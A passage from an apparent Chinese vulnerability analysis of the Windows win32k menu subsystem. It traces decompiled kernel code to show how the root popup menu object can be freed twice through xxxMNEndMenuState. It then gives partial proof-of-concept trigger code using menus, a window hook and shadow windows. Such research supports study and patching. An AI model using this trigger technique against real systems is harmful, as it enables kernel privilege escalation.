等接口函数时系统在内核中创建菜单对象，当调用函数 `DestroyMenu` 或进程结束时菜单对象被销毁。
当需要在屏幕中的位置显示某菜单时，例如，用户在某窗口区域点击鼠标右键，在内核中系统将调用相关服务函数根据目标菜单对象创建对应的类型为 `MENUCLASS`
的菜单层叠窗口对象。菜单层叠窗口对象是窗口结构体 `tagWND` 对象的特殊类型，通常以结构体 `tagMENUWND`
的形式表示，负责描述菜单在屏幕中的显示位置、样式等动态信息，其扩展区域关联对应的弹出菜单对象。
弹出菜单对象 `tagPOPUPMENU`
作为菜单窗口对象的扩展对象，用来描述所代表的菜单的弹出状态，以及与菜单窗口对象、菜单对象、子菜单或父级菜单的菜单窗口对象等用户对象相互关联。
当某个菜单在屏幕中弹出时，菜单窗口对象和关联的弹出菜单对象被创建，当菜单被选择或取消时，该菜单将不再需要在屏幕中显示，此时系统将在适当时机销毁菜单窗口对象和弹出菜单对象。
* * *
**弹出菜单**
内核函数 `xxxTrackPopupMenuEx` 负责菜单的弹出和追踪。在该函数执行期间，系统调用 `xxxCreateWindowEx`
函数为即将被显示的菜单对象创建关联的类名称为 `#32768`(`MENUCLASS`) 的菜单层叠窗口对象。类型为 `MENUCLASS`
的窗口对象通常用 `tagMENUWND` 结构体表示，这类窗口对象在紧随基础的 `tagWND` 对象其后的位置存在 1
个指针长度的扩展区域，用来存储指向关联的 `tagPOPUPMENU` 对象指针。
pwndHierarchy = xxxCreateWindowEx(
0x181,
0x8000, // MENUCLASS
0x8000, // MENUCLASS
0,
0x80800000,
xLeft,
yTop,
100,
100,
(pMenu->fFlags & 0x40000000) != 0 ? pwndOwner : 0, // MNS_MODELESS
0,
pwndOwner->hModule,
0,
0x601u,
0);
_函数 xxxTrackPopupMenuEx 创建 MENUCLASS 窗口对象_
在函数 `xxxCreateWindowEx` 中分配窗口对象后，函数向该对象发送 `WM_NCCREATE`
等事件消息，并调用窗口对象指定的消息处理程序。类型为 `MENUCLASS` 的窗口对象指定的的消息处理程序是 `xxxMenuWindowProc`
内核函数。处理 `WM_NCCREATE` 消息时，函数创建并初始化与窗口对象关联的弹出菜单信息结构体 `tagPOPUPMENU` 对象，将菜单窗口
`tagMENUWND` 对象指针放入 `tagPOPUPMENU->spwndPopupMenu` 成员域中，并将弹出菜单 `tagPOPUPMENU`
对象指针放入关联窗口 `tagMENUWND` 对象末尾的指针长度的扩展区域中。
_结构体 tagMENUWND 和 tagPOPUPMENU 对象的对应关系_
在通过函数 `xxxSendMessageTimeout` 向窗口对象发送 `WM_NCCREATE`
等事件消息时，系统在调用对象指定的消息处理程序之前，还会调用 `xxxCallHook` 函数用来调用先前由用户进程设定的 `WH_CALLWNDPROC`
类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
_函数 xxxSendMessageTimeout 调用 xxxCallHook 函数_
接下来函数 `xxxTrackPopupMenuEx` 调用 `xxxMNAllocMenuState`
来初始化菜单状态结构体的各个成员域，并将前面创建的弹出菜单 `tagPOPUPMENU` 对象作为当前的根弹出菜单对象，其指针被放置在菜单状态结构体的成员域
`pGlobalPopupMenu` 中。
menuState = xxxMNAllocMenuState(ptiCurrent, ptiNotify, popupMenu);
_函数 xxxTrackPopupMenuEx 初始化菜单状态结构体_
接下来函数调用 `xxxSetWindowPos` 函数以设置目标菜单层叠窗口在屏幕中的位置并将其显示在屏幕中。在函数 `xxxSetWindowPos`
执行期间，相关窗口位置和状态已完成改变之后，系统在函数 `xxxEndDeferWindowPosEx` 中调用 `xxxSendChangedMsgs`
以发送窗口位置已改变的消息。
xxxSetWindowPos(
pwndHierarchy,
(((*((_WORD *)menuState + 2) >> 8) & 1) != 0) - 1,
xLParam,
yLParam,
0,
0,
~(0x10 * (*((_WORD *)menuState + 2) >> 8)) & 0x10 | 0x241);
_函数 xxxTrackPopupMenuEx 显示根菜单窗口对象_
在函数 `xxxSendChangedMsgs` 中，系统根据设置的 `SWP_SHOWWINDOW`
状态标志，为当前的目标菜单层叠窗口对象创建并添加关联的阴影窗口对象。两个窗口对象的关联关系在函数 `xxxAddShadow` 中被添加到
`gpshadowFirst` 阴影窗口关联表中。
从函数 `xxxSetWindowPos` 中返回后，函数 `xxxTrackPopupMenuEx` 调用 `xxxWindowEvent`
函数以发送代表“菜单弹出开始”的 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。
xxxWindowEvent(6u, pwndHierarchy, 0xFFFFFFFC, 0, 0);
_函数 xxxTrackPopupMenuEx 发送菜单弹出开始的事件通知_
如果先前在用户进程中设置了包含这种类型事件通知范围的窗口事件通知处理函数，那么系统将在线程消息循环处理期间分发调用这些通知处理函数。
接下来菜单对象类型为模态的情况下线程将会进入菜单消息循环等待状态，而非模态的情况将会返回。
一图以蔽之：
_函数 xxxTrackPopupMenuEx 的简略执行流_
* * *
**bServerSideWindowProc**
窗口结构体 `tagWND` 对象的成员标志位 `bServerSideWindowProc`
是一个特殊标志位，该标志位决定所属窗口对象的消息处理函数属于服务端还是客户端。当函数 `xxxSendMessageTimeout`
即将调用目标窗口对象的消息处理函数以分发消息时，会判断该标志位是否置位。
if ( *((_BYTE *)&pwnd->1 + 2) & 4 ) // bServerSideWindowProc
{
IoGetStackLimits(&uTimeout, &fuFlags);
if ( &fuFlags - uTimeout < 0x1000 )
return 0;
lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam);
if ( !lpdwResult )
return lRet;
*(_DWORD *)lpdwResult = lRet;
}
else
{
xxxSendMessageToClient(pwnd, message, wParam, lParam, 0, 0, &fuFlags);
[...]
}
_函数 xxxSendMessageTimeout 执行窗口对象消息处理函数的逻辑_
如果该标志位置位，则函数将直接使当前线程在内核上下文调用目标窗口对象的消息处理函数；否则，函数通过调用函数 `xxxSendMessageToClient`
将消息发送到客户端进行处理，目标窗口对象的消息处理函数将始终在用户上下文调用和执行。
诸如菜单层叠窗口对象之类的特殊窗口对象拥有专门的内核模式消息处理函数，因此这些窗口对象的成员标志位 `bServerSideWindowProc`
在对象创建时就被置位。而普通窗口对象由于只指向默认消息处理函数或用户进程自定义的消息处理函数，因此该标志位往往不被置位。
如果能够通过某种方式将未置位标志位 `bServerSideWindowProc`
的窗口对象的该标志位置位，那么该窗口对象指向的消息处理函数也将直接在内核上下文中执行。
* * *
**阴影窗口**
在 Windows XP 及更高系统的 `win32k` 内核模块中，系统为所有带有 `CS_DROPSHADOW` 标志的窗口对象创建并关联对应的类名称为
`SysShadow` 的阴影窗口对象，用来渲染原窗口的阴影效果。内核中存在全局表 `win32k!gpshadowFirst`
用以记录所有阴影窗口对象与原窗口对象的关联关系。函数 `xxxAddShadow` 用来为指定的窗口创建阴影窗口对象，并将对应关系写入
`gpshadowFirst` 全局表中。
全局表 `gpshadowFirst` 以链表的形式保存阴影窗口的对应关系。链表的每个节点存储 3
个指针长度的成员域，分别存储原窗口和阴影窗口的对象指针，以及下一个链表节点的指针。每个新添加的关系节点将始终位于链表的首个节点位置，其地址被保存在
`gpshadowFirst` 全局变量中。
_全局变量 gpshadowFirst 指向阴影窗口关联链表_
相应地，当阴影窗口不再需要时，系统调用 `xxxRemoveShadow`
来将指定窗口的阴影窗口关联关系移除并销毁该阴影窗口对象，函数根据通过参数传入的原窗口对象的指针在链表中查找第一个匹配的链表节点，从链表中取出节点并释放节点内存缓冲区、销毁阴影窗口对象。
* * *
**子菜单**
如果当前在屏幕中显示的菜单中存在子菜单项，那么当用户通过鼠标按键点击等方式选择子菜单项时，系统向子菜单项所属的菜单窗口对象发送
`WM_LBUTTONDOWN` 鼠标左键按下的消息。如果菜单为非模态（`MODELESS`）类型，内核函数 `xxxMenuWindowProc`
接收该消息并传递给 `xxxCallHandleMenuMessages` 函数。
函数 `xxxCallHandleMenuMessages` 负责像模态弹出菜单的消息循环那样处理非模态弹出菜单对象的消息。在函数中，系统根据通过参数
`lParam` 传入的相对坐标和当前窗口在屏幕上的坐标来计算鼠标点击的实际坐标，并向下调用 `xxxHandleMenuMessages` 函数。
函数将计算的实际坐标点传入 `xxxMNFindWindowFromPoint`
函数查找坐标点坐落的在屏幕中显示的窗口，并将查找到的窗口对象指针写入菜单状态结构体的成员域 `uButtonDownHitArea`
中。当该值确实是窗口对象时，函数向该窗口对象发送 `MN_BUTTONDOWN` 鼠标按下的消息。
接着执行流又进入函数 `xxxMenuWindowProc` 并调用函数 `xxxMNButtonDown` 以处理 `MN_BUTTONDOWN` 消息。
case 0x1EDu:
if ( wParam < pmenu->cItems || wParam >= 0xFFFFFFFC )
xxxMNButtonDown(popupMenu, menuState, wParam, 1);
return 0;
_函数 xxxMenuWindowProc 调用 xxxMNButtonDown 函数_
函数 `xxxMNButtonDown` 调用 `xxxMNSelectItem` 函数以根据鼠标按下区域选择菜单项并存储在当前弹出菜单对象的成员域
`posSelectedItem` 中，随后调用函数 `xxxMNOpenHierarchy` 以打开新弹出的层叠菜单。
在函数 `xxxMNOpenHierarchy` 执行期间，系统调用函数 `xxxCreateWindowEx` 创建新的类名称为 `MENUCLASS`
的子菜单层叠窗口对象，并将新创建的子菜单窗口对象关联的弹出菜单结构体 `tagPOPUPMENU` 对象插入弹出菜单对象延迟释放链表中。
函数将新分配的子菜单窗口对象指针写入当前菜单窗口对象关联的弹出菜单信息结构体 `tagPOPUPMENU` 对象的成员域 `spwndNextPopup`
中，并将当前菜单窗口对象指针写入新分配的菜单窗口对象关联的 `tagPOPUPMENU` 对象的成员域 `spwndPrevPopup`
中，使新创建的弹出菜单对象成为当前菜单对象的子菜单。
_新创建的子菜单窗口和原菜单窗口 tagMENUWND 对象的对应关系_
函数将当前菜单窗口对象的弹出菜单信息结构体 `tagPOPUPMENU` 对象的标志成员域 `fHierarchyDropped`
标志置位，这个标志位表示当前菜单对象已弹出子菜单。
接下来函数调用 `xxxSetWindowPos` 以设置新的菜单层叠窗口在屏幕中的位置并将其显示在屏幕中，并调用函数 `xxxWindowEvent`
发送 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。新菜单窗口对象对应的阴影窗口会在这次调用 `xxxSetWindowPos`
期间创建并与菜单窗口对象关联。
简要执行流如下：
_点击子菜单项以弹出子菜单时的简要执行流_
* * *
**终止菜单**
在用户进程中可以通过多种接口途径触达 `xxxMNEndMenuState` 函数调用，例如向目标菜单的窗口对象发送 `MN_ENDMENU` 消息，或调用
`NtUserMNDragLeave` 系统服务等。
当某调用者向目标菜单窗口对象发送 `MN_ENDMENU` 消息时，系统在菜单窗口消息处理函数 `xxxMenuWindowProc` 中调用函数
`xxxEndMenuLoop` 并传入当前线程关联的菜单状态结构体对象和其成员域 `pGlobalPopupMenu`
指向的根弹出菜单对象指针作为参数以确保完整的菜单对象被终止或取消。如果菜单对象是非模态类型的，那么函数接下来在当前上下文调用函数
`xxxMNEndMenuState` 清理菜单状态信息并释放相关对象。
menuState = pwnd->head.pti->pMenuState;
[...]
LABEL_227: // EndMenu
xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
if ( menuState->flags & 0x100 )
xxxMNEndMenuState(1);
return 0;
_函数 xxxMenuWindowProc 处理 MN_ENDMENU 消息_
函数 `xxxEndMenuLoop` 执行期间，系统调用 `xxxMNDismiss` 并最终调用到 `xxxMNCancel`
函数来执行菜单取消的操作。
int __stdcall xxxMNDismiss(tagMENUSTATE *menuState)
{
return xxxMNCancel(menuState, 0, 0, 0);
}
_函数 xxxMNDismiss 调用 xxxMNCancel 函数_
函数 `xxxMNCancel` 调用 `xxxMNCloseHierarchy` 函数来关闭当前菜单对象的菜单层叠状态。
popupMenu = pMenuState->pGlobalPopupMenu;
[...]
xxxMNCloseHierarchy(popupMenu, pMenuState);
_函数 xxxMNCancel 调用 xxxMNCloseHierarchy 函数_
函数 `xxxMNCloseHierarchy` 判断当前通过参数传入的弹出菜单 `tagPOPUPMENU` 对象成员域
`fHierarchyDropped` 标志位是否置位，如果未被置位则表示当前弹出菜单对象不存在任何弹出的子菜单，那么系统将使当前函数直接返回。
接下来函数 `xxxMNCloseHierarchy` 获取当前弹出菜单对象的成员域 `spwndNextPopup`
存储的指针，该指针指向当前弹出菜单对象所弹出的子菜单的窗口对象。函数通过 `xxxSendMessage` 函数调用向该菜单窗口对象发送
`MN_CLOSEHIERARCHY` 消息，最终在消息处理函数 `xxxMenuWindowProc` 中接收该消息并对目标窗口对象关联的弹出菜单对象调用
`xxxMNCloseHierarchy` 以处理关闭子菜单的菜单对象菜单层叠状态的任务。
popupMenu = *(tagPOPUPMENU **)((_BYTE *)pwnd + 0xb0);
menuState = pwnd->head.pti->pMenuState;
[...]
case 0x1E4u:
xxxMNCloseHierarchy(popupMenu, menuState);
return 0;
_函数 xxxMenuWindowProc 处理 MN_CLOSEHIERARCHY 消息_
函数 `xxxSendMessage` 返回之后，接着函数 `xxxMNCloseHierarchy` 调用 `xxxDestroyWindow`
函数以尝试销毁弹出的子菜单的窗口对象。需要注意的是，这里尝试销毁的是弹出的子菜单的窗口对象，而不是当前菜单的窗口对象。
在函数 `xxxDestroyWindow` 执行期间，系统调用函数 `xxxSetWindowPos` 以隐藏目标菜单窗口对象在屏幕中的显示。
dwFlags = 0x97;
if ( fAlreadyDestroyed )
dwFlags = 0x2097;
xxxSetWindowPos(pwnd, 0, 0, 0, 0, 0, dwFlags);
_函数 xxxDestroyWindow 隐藏目标窗口对象的显示_
在函数 `xxxSetWindowPos` 执行后期，与当初创建菜单窗口对象时相对应地，系统调用函数 `xxxSendChangedMsgs`
发送窗口位置已改变的消息。在该函数中，系统根据设置的 `SWP_HIDEWINDOW` 状态标志，通过调用函数 `xxxRemoveShadow` 在
`gpshadowFirst` 阴影窗口关联表中查找第一个与目标菜单窗口对象关联的阴影窗口关系节点，从链表中移除查找到的关系节点并销毁该阴影窗口对象。
接下来执行流从函数 `xxxDestroyWindow` 中进入函数 `xxxFreeWindow` 以执行对目标窗口对象的后续销毁操作。
函数根据目标窗口对象的成员域 `fnid` 的值调用对应的消息处理包装函数 `xxxWrapMenuWindowProc` 并传入
`WM_FINALDESTROY` 消息参数，最终在函数 `xxxMenuWindowProc` 中接收该消息并通过调用函数
`xxxMNDestroyHandler` 对目标弹出菜单对象执行清理相关数据的任务。在该函数中，目标弹出菜单对象的成员标志位 `fDestroyed`
和根弹出菜单对象的成员标志位 `fFlushDelayedFree` 被置位：
*(_DWORD *)popupMenu |= 0x8000u;
[...]
if ( *((_BYTE *)popupMenu + 2) & 1 )
{
popupMenuRoot = popupMenu->ppopupmenuRoot;
if ( popupMenuRoot )
*(_DWORD *)popupMenuRoot |= 0x20000u;
}
_函数 xxxMNDestroyHandler 置位相关成员标志位_
接着函数 `xxxFreeWindow` 对目标窗口对象再次调用函数 `xxxRemoveShadow`
以移除其阴影窗口对象的关联。如果先前已将目标窗口对象的所有阴影窗口关联移除，则函数 `xxxRemoveShadow`
将在关系表中无法查找到对应的关联节点而直接返回。
if ( pwnd->pcls->atomClassName == gatomShadow )
CleanupShadow(pwnd);
else
xxxRemoveShadow(pwnd);
_函数 xxxFreeWindow 再次移除阴影窗口对象_
函数在执行一些对象的释放操作和解除锁定操作之后向上级调用者函数返回。此时由于锁计数尚未归零，因此目标窗口对象仍旧存在于内核中并等待后续的操作。
函数 `xxxDestroyWindow` 返回后，执行流回到函数 `xxxMNCloseHierarchy` 中。接着函数对当前弹出菜单对象的成员域
`spwndNextPopup` 指向的子菜单窗口对象解锁并将成员域置空，然后将当前弹出菜单对象关联的菜单窗口对象带赋值锁地赋值给根弹出菜单对象的成员域
`spwndActivePopup` 中使当前窗口对象成为的活跃弹出菜单窗口对象，这导致原本锁定在成员域 `spwndActivePopup`
中的子菜单窗口对象解锁并使其锁计数继续减小。
HMAssignmentLock(
(_HEAD **)&popupMenu->ppopupmenuRoot->spwndActivePopup,
(_HEAD *)popupMenu->spwndPopupMenu);
_函数 xxxMNCloseHierarchy 使当前窗口对象成为的活跃弹出菜单窗口对象_
执行流从函数 `xxxMNCloseHierarchy` 返回到函数 `xxxMNCancel` 中，系统根据当前弹出菜单对象的成员标志位
`fIsTrackPopup` 选择调用 `xxxDestroyWindow` 以尝试销毁当前的菜单窗口对象。弹出菜单结构体的该成员标志位只在最开始通过函数
`xxxTrackPopupMenuEx` 创建根菜单窗口对象时对关联的弹出菜单对象置位。
接下来执行流返回到函数 `xxxMenuWindowProc` 中，函数对非模态类型的菜单对象调用 `xxxMNEndMenuState`
以清理菜单状态信息并释放相关对象。
_菜单选择或取消时的简要执行流_
* * *
**弹出菜单对象延迟释放链表**
在弹出菜单结构体 `tagPOPUPMENU` 中存在成员域
`ppmDelayedFree`，该成员域用来将所有被标记为延迟释放状态的弹出菜单对象连接起来，以便在菜单的弹出状态终止时将所有弹出菜单对象统一销毁。
线程关联的菜单状态 `tagMENUSTATE` 对象的成员域 `pGlobalPopupMenu` 指向的是根弹出菜单对象，根弹出菜单对象的成员域
`ppmDelayedFree` 作为弹出菜单对象延迟释放链表的入口，指向链表的第一个节点。后续的每个被指向的弹出菜单对象的成员域
`ppmDelayedFree` 将指向下一个链表节点对象。
在函数 `xxxMNOpenHierarchy` 中，函数将新创建的子菜单窗口对象关联的弹出菜单结构体 `tagPOPUPMENU`
对象插入弹出菜单对象延迟释放链表。新的弹出菜单对象被放置在链表的起始节点位置，其地址被存储在根弹出菜单对象的成员域 `ppmDelayedFree`
中，而原本存储于根弹出菜单成员域 `ppmDelayedFree` 中的地址被存储在新的弹出菜单对象的成员域 `ppmDelayedFree` 中。
_新的弹出菜单对象被插入弹出菜单对象延迟释放链表_
* * *
**xxxMNEndMenuState**
在函数 `xxxMNEndMenuState` 执行时，系统调用函数 `MNFreePopup` 来释放由当前菜单状态 `tagMENUSTATE`
对象的成员域 `pGlobalPopupMenu` 指向的根弹出菜单对象。
函数 `MNFreePopup` 在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象，如果是则调用函数
`MNFlushDestroyedPopups` 以遍历并释放其成员域 `ppmDelayedFree`
指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。
函数 `MNFlushDestroyedPopups` 遍历链表中的每个弹出菜单对象，并为每个标记了标志位 `fDestroyed` 的对象调用
`MNFreePopup` 函数。标志位 `fDestroyed` 当初在调用函数 `xxxMNDestroyHandler` 时被置位。
ppmDestroyed = popupMenu;
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
ppmFree = *i;
if ( *(_DWORD *)*i & 0x8000 )
{
ppmFree = *i;
*i = ppmFree->ppmDelayedFree;
MNFreePopup(ppmFree);
}
[...]
}
_函数 MNFlushDestroyedPopups 遍历延迟释放链表_
在函数 `MNFlushDestroyedPopups` 返回之后，函数 `MNFreePopup` 调用 `HMAssignmentUnlock`
函数解除 `spwndPopupMenu` 等各个窗口对象成员域的赋值锁。
在 Windows 内核中，所有的窗口对象起始位置存在成员结构体 `HEAD`
对象，该结构体存储句柄值（`h`）的副本，以及锁计数（`cLockObj`），每当对象被使用时其值增加；当对象不再被特定的组件使用时，它的锁计数减小。在锁计数达到零的时候，窗口管理器知道该对象不再被系统使用然后将其释放。
函数 `HMAssignmentUnlock` 被用来解除先前针对指定对象的实施的带赋值锁的引用，并减小目标对象的锁计数。当目标对象的锁计数减小到 `0`
时，系统将调用函数 `HMUnlockObjectInternal` 销毁该对象。
bToFree = head->cLockObj == 1;
--head->cLockObj;
if ( bToFree )
head = HMUnlockObjectInternal(head);
return head;
_函数 HMUnlockObject 判断需要销毁的目标对象_
函数 `HMUnlockObjectInternal` 通过目标对象的句柄在全局共享信息结构体 `gSharedInfo` 对象的成员域 `aheList`
指向的会话句柄表中找到该对象的句柄表项，然后通过在句柄表项中存储的句柄类型在函数 `HMDestroyUnlockedObject`
中调用索引在全局句柄类型信息数组 `gahti` 中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象，这将调用到内核函数
`xxxDestroyWindow` 中。
在函数 `MNFreePopup` 的末尾，由于已完成对各个成员域的解锁和释放，系统调用函数 `ExFreePoolWithTag` 释放目标弹出菜单
`tagPOPUPMENU` 对象。
通过分析代码可知，函数 `xxxMNEndMenuState` 在调用函数 `MNFreePopup`
释放菜单信息结构体的各个成员域之后，会将当前菜单状态对象的成员域 `pmnsPrev` 存储的前菜单状态对象指针赋值给当前线程信息结构体对象的成员域
`pMenuState` 指针，而通常情况下 `pmnsPrev` 的值为 `0`。
kd> ub
win32k!xxxMNEndMenuState+0x50:
93a96022 8b4620 mov eax,dword ptr [esi+20h]
93a96025 898704010000 mov dword ptr [edi+104h],eax
kd> r eax
eax=00000000
_函数 xxxMNEndMenuState 重置线程信息结构体 pMenuState 成员域_
然而在菜单弹出期间，系统在各个追踪弹出菜单的函数或系统服务中都是通过线程信息对象的成员域 `pMenuState`
指针来获取菜单状态的，如果该成员域被赋值为其他值，就将导致触发漏洞的途径中某个节点直接失败而返回，造成漏洞利用失败。因此想要重新使线程执行流触达
`xxxMNEndMenuState` 函数中释放当前 `tagPOPUPMENU` 对象的位置以实现对目标漏洞的触发，
**则必须在系统重置线程信息对象的成员域`pMenuState` 之前的时机进行**。
在函数释放成员域 `pGlobalPopupMenu` 指向的根弹出菜单对象和重置线程信息对象的成员域 `pMenuState` 之间，只有两个函数调用：
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
菜单状态结构体的成员域 `uButtonDownHitArea` 和 `uDraggingHitArea`
存储当前鼠标点击坐标位于的窗口对象指针和鼠标拖拽坐标位于的窗口对象指针。函数通过调用 `UnlockMFMWFPWindow`
函数解除对这两个成员域的赋值锁。
函数 `UnlockMFMWFPWindow` 在对目标参数进行简单校验之后调用 `HMAssignmentUnlock` 函数执行具体的解锁操作。
_函数 xxxMNEndMenuState 的简要执行流_
聚焦 `uButtonDownHitArea`
成员域，该成员域存储当前鼠标按下的坐标区域所属的窗口对象地址，当鼠标按键抬起时系统解锁并置零该成员域。因此，需要在系统处理鼠标按下消息期间，用户进程发起菜单终止的操作，以使执行流进入函数
`xxxMNEndMenuState` 并执行到解锁成员域 `uButtonDownHitArea` 的位置时，该成员域中存储合法的窗口对象的地址。
系统在销毁该窗口对象期间，会同时销毁与该窗口对象关联的阴影窗口对象。阴影窗口对象不带有专门的窗口消息处理函数，因此可以在用户进程中将窗口对象的消息处理函数成员域篡改为由用户进程自定义的消息处理函数，在自定义函数中，再次触发菜单终止的任务，致使漏洞成功触发。
#### 0x3 触发
接下来通过构造验证代码在系统调用 `xxxMNEndMenuState` 函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域
`pMenuState` 之前，使线程的执行流再次进入 `xxxMNEndMenuState` 函数调用，致使触发对目标成员域
`pGlobalPopupMenu` 指向对象的重复释放。
在用户进程中首先为验证代码创建单独的线程，利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 `bDoneExploit`
是否被赋值以等待下一步操作。
* * *
**验证代码主函数**
验证代码首先通过调用 `CreatePopupMenu` 等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数
`xxxMNLoop`
的循环等待状态，导致无法在同一线程中执行其他操作，对漏洞触发造成难度，因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的
`tagPOPUPMENU` 类型的对象，而是带有 `MFISPOPUP` 标志位状态的 `tagMENU` 对象。结构体 `tagMENU`
是菜单对象的实体，而 `tagPOPUPMENU`
是用来描述菜单对象实体的弹出状态的对象，在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁，需要注意两者的区别。
接下来通过 `AppendMenuA` 为两个菜单添加菜单项，并使第二个成为第一个的子菜单。
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
_创建并关联两个菜单对象的验证代码_
接下来创建一个普通的窗口对象 `hWindowMain` 以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI
界面程序，则获取默认的窗口对象句柄即可，这一步就不需要创建额外的窗口对象了。
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
_创建用来拥有弹出菜单的主窗口对象的验证代码_
通过函数 `SetWindowsHookExW` 创建类型为 `WH_CALLWNDPROC` 关联当前线程的挂钩程序，并通过
`SetWinEventHook` 创建范围包含 `EVENT_SYSTEM_MENUPOPUPSTART`
的关联当前进程和线程的事件通知消息处理程序。前面已经提到，设置 `WH_CALLWNDPROC`
类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 `EVENT_SYSTEM_MENUPOPUPSTART`
表示目标弹出菜单已被显示在屏幕上。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
_创建消息挂钩和事件通知程序的验证代码_
验证代码调用函数 `TrackPopupMenuEx` 使第一个菜单作为根菜单在创建的窗口中弹出。
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
_调用函数 TrackPopupMenuEx 的验证代码_
接着通过调用 `GetMessage` 和 `DispatchMessage` 等函数在当前线程中实现消息循环。
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
_实现消息循环的验证代码_
在用户进程中验证代码调用函数 `TrackPopupMenuEx` 使执行流在内核中进入 `xxxTrackPopupMenuEx` 函数。
_验证代码主函数执行逻辑_
* * *
**自定义挂钩处理函数**
在函数 `TrackPopupMenuEx` 执行期间，系统调用函数 `xxxCreateWindowEx`
创建新的菜单类型的窗口对象。就像前面的章节提到的那样，创建窗口对象成功时，函数向该窗口对象发送 `WM_NCCREATE` 消息。在函数
`xxxSendMessageTimeout` 调用对象指定的消息处理程序之前，还会调用 `xxxCallHook` 函数用来调用先前由用户进程设定的
`WH_CALLWNDPROC` 类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。
在自定义挂钩处理函数 `xxWindowHookProc` 中，我们根据参数 `lParam` 指向 `tagCWPSTRUCT` 对象的成员域
`message` 判断当前处理的消息是否为 `WM_NCCREATE` 消息，不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称，当类名称为
`#32768` 时，表示这是创建的菜单窗口对象，因此将该句柄记录下来以备后续引用。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
return CallNextHookEx(0, code, wParam, lParam);
}
_在挂钩处理程序中记录 #32768 窗口的句柄_
在目标菜单窗口对象创建完成时，系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间，系统为该窗口对象创建关联的类型为 `SysShadow`
的阴影窗口对象。同样地，创建阴影窗口对象并发送 `WM_NCCREATE` 消息时，系统也会调用 `xxxCallHook` 函数来分发调用挂钩程序。
前面章节的“终止菜单”部分的分析已知，在函数 `xxxEndMenuLoop` 调用期间，系统对每个弹出菜单窗口对象都调用了两次
`xxxRemoveShadow` 函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。
**因此我们要想办法为成员域`uButtonDownHitArea` 存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。**
回到验证代码的自定义挂钩处理函数中，在判断窗口类名称的位置增加判断是否为 `SysShadow` 的情况。如果命中这种情况，我们通过调用函数
`SetWindowPos` 对先前保存句柄指向的类名称为 `#32768` 的窗口对象依次设置 `SWP_HIDEWINDOW` 和
`SWP_SHOWWINDOW` 状态标志，使窗口先隐藏后显示，再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。
在执行流进入自定义挂钩处理函数的 `SysShadow` 处理逻辑时，在内核中正处于创建阴影窗口的 `xxxCreateWindowEx`
执行期间，此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来，它们的关联关系尚未被插入 `gpShadowFirst` 链表中。此时对目标菜单对象调用
